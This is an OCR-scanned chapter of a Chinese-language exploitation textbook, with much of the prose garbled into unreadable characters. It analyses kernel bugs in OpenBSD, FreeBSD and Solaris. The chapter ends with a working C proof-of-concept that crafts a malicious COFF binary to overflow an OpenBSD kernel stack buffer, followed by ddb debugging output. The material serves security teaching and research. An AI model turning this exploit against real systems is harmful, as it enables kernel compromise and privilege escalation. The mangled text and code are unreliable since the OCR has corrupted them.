(6) syscallarg(int) nd;
syscallarg(fd_set *) in;
syscallarg(fd_set *) i
syscallarg(fd_set *) ex;
syscallarg(struct timeval *) tv;

¥

XA IR = A S AT R nd B BORAT A R Y (URTT LAZERIG BT 545 (6] 10
7 RBLIEFHAREIAT ), nakh T HAT A P X B0 A% X 0 32 6 e 48 1 R T3k ST BE R B
.

RAEXnaBH L — MR (1] (naRFRIXMRFH B4R WA L fa_sets B AHE
A, HFEXp->p_fd->fd_nfiles GHERBIERA TR AHER) . X MO
RGN 7E (6] LIEnaBHAHF S, TRALECEHNRBERE, Fit, E2140 “X
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T K sed. RS, AT HcopyinBkfEh Mini i KESH, 761214 Mhowmany () %
1t Hind.

#define howmany(x, y) L+ Uy)-10) 7 (y))

ni = ((nd + (NFDBITS-1)) / NFDBITS) * sizeof (fd_mask);

ni = ((nd + (32 - 1)) / 32) * 4

TEWHniZ JR X naB ¥ (31 GH#T TR .

EARABLSEL ST, FHOpenBSDIFAA BAK T HndS T HIRE. REGIL
FHKRH LB R M copyintffEh, AR LEAMMZMEESM, WERSH, KEf SR
RABHZE ] .

BRASREARTS, RIVMLEIRT (3], SLWEHRTE. BIF, & Xgetbits VE
14,51, HEMHERKRFMEFRINEQ_sets (readfds. writefds. exceptfds, XA
ETATWR “WEE" WREE” i “FEONLER" HHATH. BN, MRS
FER GIERAR, copyintff (fEgetbitsZ W) KB WM MA, (RIS AR HE
T FEHATHERAR .

R, MEHTH RRPHETE R, XA T 5 A DTS .

vuln_func(int user_number, char *user_buffer) {
char stack_buf[1024];

if( user_number > sizeof (stack_buf) )
goto error;

copyin(stack_buf, user_buf, user_nymber);
/* copyin is somewhat the kernel land equivalent of memcpy */

}

2.2 - OpenBSD setitimer() kernel memory overwrite

sys_setitimer(p, v, retval)
struct proc *p;
register void *v;
register_t *retval;

register struct sys_setitimer_args /* {

(1) syscallarg(u_int) which;
syscallarg(struct itimerval *) itv;
syscallarg(struct itimerval *) oitv;

} */ *uap = v;

struct itimerval aitv;

register const struct itimerval *itvp;
int s, error;



251 MERAXE 485

int timo;
21 if (SCARG(uap, which) > ITIMER_PROF)
return (EINVAL);
[deleted]
(3] p->p_stats->p_timer [SCARG(uap, which)] = aitv;
}
splx(s);

return (0);
}

HITBA RO P IR 5 1 8 GRS HRUR T I — A DD, XANR
WATLVART W RS . 2% 5 BB T3 g iame s i, BT S AW IR
FERALE . B TAERUEAN TR KNS GRRBAARFNRIRD WS RAEEG SRR,
XARTRER .

BARGIBRRL WA wnich (1185 TR LHO ARG S B (/) 1],
kR L, #Esys/syscallargs. hi13694T HwhichB ¥H /4 ) b4 755 %4 (ZE0penBSD 3.14),
B, AT A N RS, K B S HG 1 (2) TR AR T . B,
B EwhichB AN L (31 B IX 19%3], H0H PRGNS HFIAKARE. ExA
BBy, AP wnich N, BT AEE AR BT P UE S CSBRE) 250, MTTHRFHSRL.

AT LA T SO BSR4 A R L T B 5 SR Bl U

vuln_func(int user_index, struct userdata *uptr) {

if( user_index > FIXED_LIMIT )
goto error;

kbuf [user_index] = *uptr;

}

2.3 - FreeBSD accept() kernel memory infoleak

int
accept (td, uap)

struct thread *td;
struct accept_args *uap: 25

(1] return (acceptl(td, uap, 0));
}

static int
acceptl(td, uap, compat)
struct thread *td;
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(21 register struct accept_args /* {
int s;
caddr_t name;
int *anamelen;
} */ *uap;
int compat;

struct filedesc *fdp;
struct file *nfp = NULL;
struct sockaddr *sa;

13) int namelen, error, s;
struct socket *head, *so:
int fd;

u_int fflag;

mtx_lock (&Giant);
fdp = td->td proc->p_fd;
if (uap->name) {
141 error = copyin(uap->anamelen, snamelen, sizeof (namelen));
if (error)
goto done2;
}
(deleted]
error = soaccept(so, &sa);

[deleted]
if (uap->name) (
/* check sa_len before it is destroyed */
(51 if (namelen > sa->sa_len)
namelen = sa->sa_len;
[deleted]

(61 error = copyout(sa, uap->name, (u_int)namelen);
(deleted]

}

FreeBSDH:52 R 41 IR (920 S R B 2 B MK P AR R BR SR04 5 1 B accept ()
RYWARE MR G accept ) B¥ (1), RWH—MESIRBE. KREBHF KNSR
WITWBaccept_argshify (218, ELMEE:

O FRERETF MR

O 18 sockaddrh # (i EH

O 4§ [i)% R sockaddri ) K/ 75 S Haét

—~FF4i14] (accept () E¥] HA PRGN KSR BB Anamelen (31 #1251
VER, MR- AMAHSEH, TLURAK. B, acceptl()EMBUT T —RIISIBEFHHKR
BARDEEFRIELMORE . REEBEFHN “SHFEE” RE. BJF, soaccept )i
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MO R (5] B9 ML S B W sockadar B4, TI'E MK BBV  X .

XA Frsockadar B HIIA/ NS SR PRACHANES 151 LR, BRI KB 2
BRI GN. REMR, KMOERSL T, Wili# T AnamelentE it — Mt
B, eI, HSBK/MRTE BB AR A ARSI B A P XX

AL F AR R MR, T L0055 Wi E AT A A0 57 R Bl K

struct userdata {
int len; /* signeat */
char *data;

}i

vuln_func (struct userdata *uptr) {
struct kerneldata *kptr;
internal_func(kptr); /* £ill-in kptr */

if( uptr->len > kptr->len )
uptr->len = kptr->len;

copyout (kptr, uptr->data, uptr->len);

}

sSolaris priocntl() directory traversal

I*
* The priocntl system call.

*

long
priocntlsys (int pc_version, procset_t *psp, int cmd, caddr._t arg)
{

[deleted]

switch (cmd) {
1) case PC_GETCID:

[2] if (copyin(arg, (caddr_t)apcinfo, sizeof (pcinfo)))

error =
3] scheduler_load (pcinfo.pc_clname,
&sclass[pcinfo.pe_cid]);

[deleted]
}
int

scheduler_load (char *clname, sclass_t *clp)
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{
[deleted]
4] if (modload("sched”, clname) == -1)
return (EINVAL);
rw_enter (clp->c1_lock, RW_READER);
[Qeleted]
}

Solaris priocntl () WA B RIETHEA BRRAGF . BRIIARAFLERMAYE, R
R T A B R K« priocntl & — AN A 1S HILWP Clight-weight process) H 2 %4
(scheduling) WIRZEIM, TTLARR—HFMLWPERFEA S . 767 WMSolaris 3, A4
SEICRFI A K

Q real-time¢

0 time-sharing2$

O fair-share

Q fixed-priority2§

T AX L AR e HE 0 A2 S AN AT AR I PO BB R S BRI o AT P X A R B
prionctLRZV M, XA ARG A H MR P X cma ISR ) i ar ot SR T BEZ AN S 3L
XA TR AR (1) & MPc_GETCID cnd$MH . cndB¥MAH (displacement) it
ZJERACH ) S R arg T STHIBIA ) HAR SeHEAI AR (2) . ARSI Gt
TR S HREHRARRIE R, IEMROIN T E AT R R LA 2,

typedef struct pcinfo {

idt  pe_cid; /* class id */

char  pc_clname(PC_CLNMSZ];  /* class name */

int pe_clinfo[PC_CLINFOSZ]; /* class information */
} peinfo_t;

IXAVKEBRGH T84} fkpe_clname B ¥, XL AR HERINA A RARX #4240 o SRR
148 46 H 4 b myclass iy F #2 % HF %, prionctl & % i Jil # 7E /kernel/sched/ fl
/usr/kernel/sched/ F il #rnycall WM. WRRIE, HRMEE. FEXLsRmy
[31scheduler_loadfil [4]modloadii ¥ &AM PIE i T o IRATHITIRHAEE, HRRHR
YA B, ERI BB W AR TR XA 2R . MOXNRIAT A ALER, 8
HHA LRI, FERAB WM /R RATAI Y . BRAE, BRATAT AR XA A
*£11e RAMAE AL T IMRAER A BB, BItn, 1R../. ./ top/mymodiX FEfipc_clnameZH0H
PR /kernel /sched/ ../ . . /tmp/mymod, M AVFBRE A ZMPHRA N .

SRASLEAR ) (4 A SR R BL T AT B4R (perace, vEork®), ARAIAM, X
AMRERR IR B — MR ) W R T TEEAERIHR, FEFTAT 4TI A Solaris RE R, #
A LU 2400 77 s LI BRI AN prioentl R —MNEE KRB . RATE X modload
BT AN IRTE, TR T ICA0 TR 0 P RN o A THEREAR 8 AR LU BRI 0 A B2
Wi, R OY RSB SRR A (primitive) FRARAT, 330K I BY PR VUM FEREAR IR TR
H Cioday.
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25.2 Oday RZiREiR
BAE, RAVENBA PR GLFEPE LRI R K R RN AR, RTENE—
LN B AT I R ARX SRR H SR .
25.2.1 OpenBSD exec_ibcs2_coff_prep zmagic ()it
BAVKER AR T IR FRERED.

int
vn_rdwr(rw, vp, base, len, offset, segflg, ioflg, cred, aresid, p)

&8} enum uio_rw rw;
2] struct vnode *vp;
31 caddr_t base;

4] int len;

off_t offset;

enum uio_seg segflg;
int ioflg;

struct ucred *cred;
size_t *aresid;
struct proc *p;

{

vn_rdwr () BB — BRI SR R, RECMEEARA R —
W ARRME LA RE RN — D3R WL R RO R ERE R &5 A

VRAT AR, ZEAEIRABIRIRIRIINAR, ot A EIABIA SO RERATDIE? XAMRIRE
BRAVA AR, HHERBHARRIEE W RARGMNX . ST — M SR BEHAA
BRI /MR S OpenBSDIRA: RICHAT RIFTH RGEL T U B BAT RIVK AW, BRI Ao
W BATE R B Son_rawr O F AR B, RATHIRERHANEAPL HERIF RS
R AR AL USSR, T A 2 T AT 4% B ¥ copyin/malloc .

RANTE T RANEEMvn_rawr O BH, HABKTLUBB AT, B—Arw enume X
rwB BT B ABRIN A (v-node) BEABHE, SRFEBERE BB A B
Aevpiftbt. SRRSO H R A B ERER MR (base) HET, TRIER A
B CRR HE45) f9FREr. UG R1entE¥l, SR RoaseB %R W MABIEMX MR,

rwBHuro_READRIIAT Fivn_rdwr A XA A LenF 4, FHHEENHRAFEI W BAF K pase
B, UTO_WRITEHIK H W% M X baselfi len ¥ B4 BASCAF. IE WA FTHOR 09 —#F,
UIO_READ— AN LR AT fiE PR Y, B8 T S copyin () #fEHRM. RZ, uto wRITERMIZF
copyout () UGS, B AT REMEREAR Ko ARUART—HE, ZEUUHINELE R i) BRI i P B e R
SRLIR, YRREZAEAICscope (HHFSHIRER) PEBIREA W RIRIOH, FHRIMUMHR. Bi0iEBt,
WRBATIRES, % AIDA ProfF 4 — kI8 it

16 5340 ¥iOpenBSD P 4% H iivn_rawr R BUR , BATRIL T —MERIE M AR, AT
Gy RLR, BIEAEAET HTA OpenBSDRRA B o M- ()41 51 7T il S 45 24 44 g SELL A ML T
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EGFEAE. L L, REAERFCHABRN, RRERFEET. RIVELRER,
BRI R4 R A7 compat T«

2522 &R
XAMRIFTFIE T exec_ibes2_coff prep_zmagic () ¥R, 4R, X TEMXIRE,

SRR R T X ARG .
e
* exec_ibes2_coff_prep_zmagic(): Prepare a COFF ZMAGIC binary's exec package
* First, set the various offsets/lengths in the exec package.
* Then, mark the text image busy (so it can be demand paged) or error

out if this is not possible. Finally, set up vmemds for the
text, data, bss, and stack segments.

.

int
exec_ibcs2_coff_prep_zmagic(p, epp, fp, ap)
struct proc *p;
struct exec_package *epp;
struct coff filehdr *fp;
struct coff_aouthdr *a

int error;

u_long offset;

long dsize, baddr, bsize;
1) struct coff scnhdr sh;

/* set up command for text segment */
(2a) error = coff_find_section(p, epp->ep_vp, fp, &sh, COFF_STYP_TEXT);

(deleted]
NEW_VMCMD (&epp->ep_vmends, vmemd_map_readvn, epp->ep_tsize,
epp->ep_taddr, epp->ep_vp, offset,

VM_PROT_READ | VM_PROT_EXECUTE) ;

/* set up command for data segment */
(2b) error = coff_find section(p, epp->ep_vp, fp, &sh, COFF_STYP_DATA);

[deleted)
NEW_VMCMD (&epp->ep_vmemds, vmemd_map_readvn,

dsize, epp->ep_daddr, epp->ep_vp, offset,
VM_PROT_READ | VM_PROT_WRITE | VM_PROT_EXECUTE) ;
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/* set up command for bss segment */
[deleted]

/* load any shared libraries */

[2c] error = coff_find_section(p, epp->ep_vp, fp, &sh, COFF_STYP_SHLIB);

if (lerror) {
size_t resid;
struct coff_slhdr *slhdr;
3] char buf(128], *bufp; /* FIXME */

4] int len = sh.s_size, path_index, entry_len;

/* DPRINTF ({"COFF shlib size %d offset %d\n",

sh.s_size, sh.s_scnptr)); */

5] error = vn_rdwr (UIO_READ, epp->ep_vp, (caddr_t) buf,

len, sh.s_scnptr,

UTO_SYSSPACE, IO_NODELOCKED, p->p_ucred,

&resid, p);

exec_ibcs2_coff_prep_zmagic () MG H HCOFF ZMAGTCHSRY M — MbshISCHE R L HFTIR
8. ‘€ exec_ibes2_coff_makecmds () B, XA AN AL 5 094 7 R corpie
KITRATICA, RERART . RARBFHE EHFIRRIEMETRE . 5000/l
SEREAA A R AR RRFF . FEZMAGICKAN ~3EHISCHF B, AFRFRFF Reexec_ibes2_coff
_prep_zmagic () B BRI SRR, HITexecve RYVAM T URMIX LR, LREWH
SCRIFBU ZFATHATREL, BIINK H & F2% TUNIXSME RARIELF . COPFRIILABRIATATHs
R WA HIHECOPF (2MAGICHAY) ATHAT XM, 7T LAk exec_ibcs2_coff_prep_zmagic ()
RBOFIAT R ERTRMTNE, ROV QIRKFHRINATHAT 0, IR B

ZHEHISCHE. AT, RAVEBTEBAD, HANGHRRARF.

WA BT .
user mode:
0x32a54 <execves: mov  $0x3b, Seax
0x32a59 <execves5>: int  $0x80
|
|
v

kernel mode:
[ ISR and initial syscall handler skipped]

int
sys_execve(p, v, retval)
register struct proc *p;
void *v;
register_t *retval;
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(deleted]
if (lerror = check_exec(p, &pack)) 1= 0) (
goto freehdr;
)
{deleted]
3
AERAT R — T KBS RN EELH . BARIELF Ak, X 2y

FFAHAT I HEL. check_exec () RBUEIIX ML, #Wﬁiﬂﬂ%ﬁﬁﬁﬁlﬁlaﬁlﬁﬁ
RERH . es_check BB, RAGAMTHITHRLIEF BMATHITH LR it
HFH .

struct execsw {

uint  es_hdrsz; /* size of header for this format */
exec_makecmds_fcn es_check; /* function to check exec format */
1
struct execsw execsw(] = {
(deleted]

#ifdef _KERN_DO_ELF

( sizeof (EL£32_Fhdr), exec_elf32 makecmds, }, /* elf binaries */
#endif
[deleted]
#ifdef COMPAT_IBCS2

{ COFF_HDR_SIZE, exec_ibcs2 coff makecmds, },  /* coff binaries */
[deleted]

check_exec (p, epp)
struct proc *p;
struct exec_package *epp;

[deleted]
newerror = (*execsw[i].es_check)(p, epp);

PRI A, JRATRIIIIT B 8RR LB . X/ corr —HEHIATLH B execswhiHy
fficompaT_1BCS2 TG H WA, BH (ex_check=exec_ibcs2_coff_makecmds) #F#%2 [i exec_
ibcs2_coff_prep_zmagic () MUK zZMAGIC () HB M —HEH.

)

int
exec_ibcs2_cof f_makecmds (p, epp)
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struct proc *p;
struct exec_package *epp;

[deleted]
if (COFF_BADMAG(fp))
return ENOEXEC;

BAERE B R LT Rcorr, MBR, BEWIT.
[deleted]
switch (ap->a_magic) {
(deleted]
case COFF_ZMAGIC:
error = exec_ibcs2_coff_prep_zmagic(p, epp, £, ap);
break;
[deleted]

int
exec_ibcs2_coff_prep_zmagic(p, epp, fp, ap)
struct proc *p;
struct exec_package *epp;
struct coff_filehdr *fp;
struct coff_aouthdr *ap;

AERADE XA AR, DEEAR R AR FB T HRAMREN. 04, RIVE
Flcof £_scnhdr HCOFF il A KIX BUE XAH B (FRAX BRI, MBI T FA#HIK
KA coff_find_section() ¥ (2a, 2b, 2c]FTHH. ZMAGIC COFF_EHIMAHISMRM
COFF_STYP_TEXT (.text), COFF_STYP_DATA (.data) HICOFF_STYP_SHLIB (JtBFE) KBk
o LEHATHIE, coff find_section() KWMLK, coff_scoharfitisk B —HHIK B
SRS BBTIE, X B AvEw_vmemD2A A B 0 e 5l ik 2 ] o

BIE, 5. textBUNIK B Mk M4 E#ksh (coff_scnhdr) [2a]. MEHPITHHRLAM
WHZIE, NEW_vMCMDEILIX X BB EIATE. XT.dataBl [20) R T HH SR, XK a1
BEMANETR. BESBAKBk 120, RARFTA KERICEE, RIFHRENIBHE BTHITH
HiHERE N, BR—Ae FERIR . shlibfI K BESkBEA (201, R BLIMHR M ATHAT i 404 i
Ao BETR, BTAKBk (a1KIEKD, FRF128B (4) WA ARE M XX Fvn_rdwr () .
X SR SR R o X R ICERERR, AN ARG X (B R T R
B/ IER B P AR BE IR .

18 9 7T LA T4 0 7 O X B Sk AR T B (. shi1 i bR Bk Dy corr — b, AT LA AT LSS X
AMEHR . RATHE—ANKF128BI-KBEFE, KR AT LU OpenBSDE:, #HIM5ELMring 0
CRBERER)D SRARAT P SR BEAOARAT . SBIRARA VL ROXTIX M L0 0 TG ? BB
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WAE (3], HEHE, AMAEAFMRchat buf (1281 A BN

/* FIXME */

HRBSRES LR, TR ®. RANFEOpenBSDIF K4 AL R B A LAsE A
TR LARTRRAR R A HE 1 «

BEARELE T AR TIX MR, BATHE T RA—MREFEBORAERERA, HRE— L@
BAREA Fishellcode

25.3 Solaris vEs_getvEssw() Al i3 %I RIE [ &R
FEA—H, ERAFARAATZA, RONZAEERBONRE, TREREHA.

I*
* Find a vissw entry given a file system type name.
* Try to autoload the filesystem if it's not found.
* If it's installed, return the vEssw locked to prevent unloading.
*/
struct vfssw *
vEs_getvssw(char *type)
€
struct vissw *vswp;
char  *modname;
int rval;

RLOCK_VFSSW() ;

if ((vswp = vEs_getvfsswbyname(type)) NULL) {
RUNLOCK_VESSW() ;
WLOCK_VFSSH()
if ((vswp = vEs_getvfsswbyname(type)) == NULL) {
[§3) if ((vswp = allocate_vfssw(type)) == NULL) (

WUNLOCK_VFSSW () ;
return (NULL);:
}
WUNLOCK_VFSSW () ;
RLOCK_VFSSW() ;
)

(21 modname = v£s_to_modname (type) ;

I* .
Try to load the filesystem. Before calling modload(), we drop
our lock on the VFS switch table, and pick it up after the
module is loaded. However, there is a potential race: the
module could be unloaded after the call to modload() completes
but before we pick up the lock and drive on. Therefore,

we keep reloading the module until we've loaded the module
_and_ we have the lock on the VFS switch table.
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*/
while (IVFS_INSTALLED(vswp)) {
RUNLOCK_VFSSW() ;
if (rootdir != NULL)
31 rval = modload("fs", modname);

[deleted]

}

Solaris# 1 RYEH ¥ & 5 WBAKHITH AL R AT W B SEIN, EREMRRIR. BT &K
DEIAEIIRES, KERS ABRS BRI A BARIHN, XPEEHIERERR. 4
PR BISE AT EA B PO 2 (6 B SO R R BR 51 SR B, IR AN A RS R T HERZh &
MR, B CLRT IR B R niRAERR, R AXMERRE MRS . XM
WIATEH Rorioent 1WA, WAMIERIERL MBS~ REMABBSR FEXMERNGITE,
—ABRARE ARG, FIHIRE LM N EHITHR .

Solaris A £ i Solaris 3L & Siswi tch R IRMBHI M RYE . XAFHEA LR vEssw_t
it

typedef struct vEssw {

char *vsw_name; /* type name string */
*vsw_init) (struct vfssw *, int);
/* init routine */
struct vfsops  *vsw_vEsops; /* filesystem operations vector */
int vsw_flag; /* flags */

} vissw_t;

vEs_getvEssw() BEMFivEssw 1 H4, % TFvsw_name (&RIEBA BB cypeFHH)
HWECRHIAD . WRBFRALRMAL, vis_getvessw() BIH LK EvEssw) 4 (1)
BAR—MNFHEAR, WEMAZRER (2], ZNRBERT AREER BT cype BHSM A
EAr At ERARX RN, XMTHSTRATEA A 0. BJ5, CE I AR
modloadi¥ (31 HB)NB A RLE.

AR, RATRIUFA Solaris RY Y i/ XUt K eype i fivEs_getvissw()
#¥. BT M/kernel/fs/ H KB /usr/kernel/fs/ H R Mk type, HILEHBBRMRL . F
WA A B Rl i BT Ritimodloadtk 1, RATHAZIMEHIITHR. EHF IR, RATRR
FRI B T mount Msyses R CHIER26IAMTERFIAXARID. B, AP,
BRI RN TR FBvEs_getvessw() MARTBEEZ.

2531 sysfs() R4EA
sysfs ) REWAR— M Elves_getvessw () RIBERIBITF, RVFHFLHIBA.

int
sysfs(int opcode, long al, long a2)

int

int error;
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switch (opcode) {
case GETFSIND:

error = sysfsind((char *)al);
[deleted)

v

static int
sysfsind(char *fsname)

I

* Translate fs identifier to an index into the vissw structure.
*/

struct vfssw *vswp;
char fsbuf [FSTYPSZ];
int retval;

size_t len = 0;

retval = copyinstr(fsname, fsbuf, FSTYPSZ, &len);
[Geleted]

I

* search the vissw table for the £s identifier
* and return the index.

*/

if ((vswp = vEs_getvfssw(fsbuf)) != NULL) {

[deleted]

25.3.2 mount () R4IAA
mount () REHH R A~ VR P EHIMAK . Blves_getvissw () RIGEAZHHIT .

int
mount (char *spec, char *dir, int flags,
char *fstype, char *dataptr, int datalen)

[deleted]

ua.spec = spec;
ua.dir = dir;
ua.flags = flags;
ua.fstype = fstype;
ua.dataptr = dataptr;
ua.datalen = datalen;
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(deleted]
error = domount (NULL, &ua, vp, CRED(), &vfsp);
[Geleted]
|
|
v
int
domount (char *fsname, struct mounta *uap, vnode_t *vp, struct cred
*credp,
struct vs **vispp)
{
[deleted]
error = copyinstr(uap->fstype, name,
FSTYPSZ, &n);
(deleted]
if ((vswp = vs_getvissw(name)) == NULL) {
vn_visunlock (vp) ;
[deleted]

}

RAVBAEN, RAVFEAREFTH TR AIvEs_getvessw() REIINRED, HFTRA
(AR AT RERE AL AT B A T o BUURHT T Smodload () ARE A 1L, ATRES RBLE £ T LIF|
L=

254 NG

XS4 T LEOpenBSDAISolaris HL L TUHI WK 775, FRAF P9 BIRTR 2 LRI, R,
RAEICE MRMIIAE T — TV RATEDURIE 2B A RN AN BMSHORRAF, 7%
TR,

A HURAE 2 SEATR R e S22 P B RN U o RATIHE44 S Solaris A1 OpenBS DI A B ALY
BIESR26TSE L. KT FRE LR, BIFHH— I8!
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E&ﬁgUN|XV‘] i=F
| Jr

s FESR2STE VAT T HA AR A TR BT AT 00 28, SRS R BRBRX
R WARRTRE R P RRIRR, BO00 R R TA M (reachability). ZEFFFAZ AT,
ERAIEH — L M7 255E BHIA K OpenBSDIIF ], A —LBIFH k.

26.1 exec_ibcs2_coff_prep_zmagic ()i

K T flK exec_ibcs2_coff_prep_zmagic () *PHIRIR, RATHE i — N RAT f/MIcorr
RIS AR R B R ORI A AT BAT SO

RAVE LTI AL 5corrf KL, IAELMBIRHFEN, KRBV MICorF
AR AT REMETE M90S, RATBSH — Lk (header), HANBEICFFk. acutskBAKM
FTAT SO TR AR AR A BN AR X Bk o ISR IXBU IR B, A AT COF AT BAT S i) BR BOKe IR (8]
IR, T PERAT RS 0 R ——m_rawr ()«

Dy B I COPF AT BAT SCAF IR P ARBT 3 T«

T R AR A Dy ECOPFRT AT 3O, BR B ARAF AR Bl bk 2 85 AR I BAT B AR T o
HRIXA MR ARG RAD, AE, RAVSILIEH A IBALE Dy corrml $AT S L.

obsd_ex1.c

/** creates a fake COFF executable with large .shlib section size **/



26.1 exec_ibcs2_coff prep_zmagic()i#iFl

499

#include <stdio.h>

#include <sys/types.h>

#include <fentl.h>
#include <unistd.h>

#include <sys/param.h>
#include <sys/sysctl.h>
#include <sys/signal.h>

unsigned char shellcodel]

"\xce\xee®;

#define ZERO(p) memset (&p,

I
* COFF file header
*/

struct coff_filehdr {

u_short £_magic;
u_short. £_nscns;
long £_timdat;
long £_symptr;
long £_nsyms;
u_short £_opthdr;
u_short £_flags;

1i
/+ £_magic flags */

/* only int3 (debug interrupt) at the moment */

0x00, sizeof (p))

/% magic number */

/* # of sections */

/* timestamp */

/* file offset of symbol table */
/* # of symbol table entries */
/* size of optional header */

/% flags */

#define COFF_MAGIC_I386 Oxldc

/% f£_flags */
#define COFF_F_RELFLG
#define COFF_F_EXEC
#define COFF_F_LNNO
#define COFF_F_LSYMS
#define COFF_F_SWABD
#define COFF_F_ARL6WR
#define COFF_F_AR32WR
’*

* COFF system header

./

struct coff_aouthdr {

short a_magic;
short a_vstamp;
long a_tsize;
long a_dsize;
long a_bsize;

long a_entry;

ox1
0x2
oxd
ox8
0x40
0x80
0x100
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long a_tstart;
long a_dstart;

/% magic */

#define COFF_zMAGIC 0413
/e

* COFF section header

“

struct coff_scnhdr {

char s_name(8];
long s_paddr;
long s_vaddr;
long s_size;
long s_scnptr;
long s_relptr;
long s_lonoptr;
u_short s_nreloc;
u_short s_nlnno;
long s_tlags;

/* s_flags */

#define COFF_STYP_TEXT 0x20
#define COFF_STYP_DATA 0x40
#define COFF_STYP_SHLIB 0x800
int

main(int arge, char **argv)

u_int i, £d, debug
u_char *ptr, *shptr;

u_long *lptr, offset;

char *args(] = { "./ibcs2own, NULL);
char *envs(] = ( "RIP=theo", NULL);
//COFF structures

struct coff_filehdr fhdr;

struct coff_aouthdr ahdr;

struct coff_scnhdr scn0, scnl, scn2;

if(argv(1]) (
if (tstrnemp(argv(1], "-v*, 2))
debug = 1;
else {

printf("-v: verbose flag only\n*);

exit(0);
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ZERO(fhdr) ;

£hdr.f_magic = COFF_MAGIC_I386;
fhdr.f nscns = 3; //TEXT, DATA, SHLIB
fhdr.f_timdat = Oxdeadbeef;

fhdr.f_nsyms = 1;
£hdr.f_opthdr = sizeof(ahdr); //AOUT header size
fhdr.£_flags = COFF_F_EXEC;

2ERO(ahdr) ;

ahdr.a_magic = COFF_ZMAGIC;
ahdr.a_tsize = 0;
ahdr.a_dsize = 0;
ahdr.a_bsize = 0;
andr.a_entry = 0x10000;
ahdr.a_tstart = 0;
ahdr.a_dstart = 0;

ZERO(scn0) ;
memcpy (&scn0.s_name, *.text", 5);
scn0.s_paddr = 0x10000;
scn0.s_vaddr = 0x10000;
scn0.s_size = 4096;
//file offset of .text segment
scn0.s_scnptr = sizeof (fhdr) + sizeof (ahdr) + (sizeof(scn0)43);
scn0.s_relptr = 0;
scn0.s_lnnoptr = 0;
scn0.s_nreloc = 0;

scn0.s_nlnno = 0;

sen0.s_flags = COFF_STYP_TEXT;

ZERO(scnl) ;

memcpy (&scnl.s_name, *.data", 5);

scnl.s_paddr = 0x10000 - 4096;

scnl.s_vaddr = 0x10000 - 4096;

scnl.s_size = 4096;

//file offset of .data segment

scnl.s_scoptr = sizeof (fhdr) + sizeof(ahdr) + (sizeof(scn0)*3) + 4096;
senl.s_relptr = 0;

scnl.s_lnnoptr = 0;

scnl.s_nreloc = 0;

senl.s_nlnno
scnl.s_flags = COFF_STYP_DATA;

ZERO(scn2) ;
memcpy (&scn2.s_name, *.shlib®, 6);
scn2.s_paddr = 0;

scn2.s_vaddr =
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//0verflow vector!

scn2.s_size = 0xb0; /* offset from start of buffer to saved eip */

//file offset of .shlib segment
sen2.s_scnptr = sizeof (fhdr) + sizeof (ahdr) + (sizeof(scn0)*3) + (2+4096);
sen2.s_relptr = 0;

scn2.s_nlnno = 0;
scn2.s_flags = COFF_STYP_SHLIB;

ptr = (char *) malloc(sizeof (fhdr) + sizeof(ahdr) + (sizeof(scn0)*3) + \ 3+4096);
memset (ptr, Oxcc, sizeof(fhdr) + sizeof(ahdr) + (sizeof(scn0)*3) + 3+4096);

menmcpy (ptr, (char *) &fhdr, sizeof(fhdr));
offset = sizeof (fhdr);

memcpy ((char *) (ptr+offset), (char *) &ahdr, sizeof(ahdr));
offset += sizeof (ahdr); -

memcpy ((char *) (ptr+offset), (char *) &scn0, sizeof(scn0));
offset += sizeof(scn0);

memcpy ((char %) (ptr+offset), (char *) &scnl, sizeof(scnl));
offset += sizeof (scnl);

memcpy ((char *) (ptreoffset), (char *) &scn2, sizeof(scn2));
lptr = (u_long *) ((char *)ptr + sizeof (fhdr) + sizeof(ahdr) + \
(sizeof(scn0)*3) + (2+4096) + Oxb0 - 8);

shptr = (char *) malloc(4096);
if (debug)

printf("payload adr: Ox%.8x\n", shptr);
menset (shptr, Oxcc, 4096);

*lptr+s+ = Oxdeadbeef;
*lptr = (u_long) shptr;

memcpy (shptr, shellcode, sizeof (shellcode)~1);
unlink("./ibcs2own®); /* remove the leftovers from prior executions */
Lf((fd = open(*./ibcsZown®, O_CREAT*O_RDWR, 0755)) < 0) {

perror (“open®) ;
exit(-1};
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write(fd, ptr, sizeof(fhdr) + sizeof(ahdr) + (sizeof(scn0) * 3) + (4096%3));

close(£d) ;
free(ptr);

execve(args[0], args, envs);
perror (“execve’);

)
HiE LRRE:

bash-2.05b# uname -a
OpenBSD the0.wideopenbsd.net 3.3 GENERICH#44 1386
bash-2.05b# gcc -o obsd_exl obsd_exl.c

2611 HHRBEEA

TEBAT BRI Z AT, NZSEIEAT W BIR R . SXRERGIE, b T IRBAT R, T
TEWRM ERAT R RS EXDBARRTIE, RATHEFddbRBIIRE . % T HIRddbIERIE

1T, WA A, o, AT HROpenBSDI B, MI%FKIN— s My & Py iAL.

bash-2.05b# sysctl -w ddb.panic=1
ddb.panic: 1 -> 1

bash-2.05b# sysctl -w ddb.console=1
ddb.console: 1 -> 1

H—Hsysctlf A RCE.ddb, WEARMBINEARERMEZ: 5 Ka SERITEMR

RHARAT LA ) & P Esc+Crl+ Al A 88 192
bash-2.05b# objdump -d --start-address=0xd048ac78 --stop-
address=0xd048c000\
> /bsd | more
/bsd: file format a.out-i386-netbsd

Disassembly of section .text:

d048ac78 <_exec_ibcs2_coff_prep_zmagic>:

d048ac78: 55 push  $ebp
d048ac79: 89 e5 mov  %esp,s%ebp
d048ac7b: 81 ec be 00 00 00 sub  $0xbc, Besp
d048ac81: 57 push  %edi
[deleted]

d04Ba£sd: 9 leave

dodBafse: c3 ret

~c

bash-2.05b# objdump -d --start-address=0xd048ac78 --stop-
address=0xd048af5e\

> /bsd | grep vn_rdwr

do4Baef3: e8 70 1b A7 ff call  d01fca68 <_vn_rdwr>
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ERNMIFH, 0xd048aef3 Rt RMvn_rawr R BIMAE. % T L ERFFREFE M5
HRETR 2 FMHES, BRA1F EEexec_ibes2_coff_prep_zmagic () MBI A (prolog)
b BA K Buiti F itjvn_rcvr () BRE L BT AR . IXBETT AT Hibase B HUS (RAF IR M AL (Hom]
BURARAFROSE R FEEE) 2 18] () IERBE 5

CTRL+ALT+ESC

bash~2.05b# Stopped at _Debugger+0x4: leave

ddb> x/i 0xd048ac78

—exec_ibcs2_coff_prep_zmagic: pushl %ebp

ddb> x/i 0xd048aef3

_exec_ibes2_coff_prep_zmagic+0x27b: call _vn_rdwr

ddb> break 0xd048ac78

ddb> break 0xd048aef3

ddb> cont

Y

bash-2.05b# ./obsd_exl
Breakpoint at _exec_ibcs2_coff _prep_zmagic: pushl  %ebp
ddb> x/x $esp, 1

0xd4739¢5¢: d048a6c9 !1saved return address at: 0xdd739c5c
ddb> x/i 0xd048a6c9
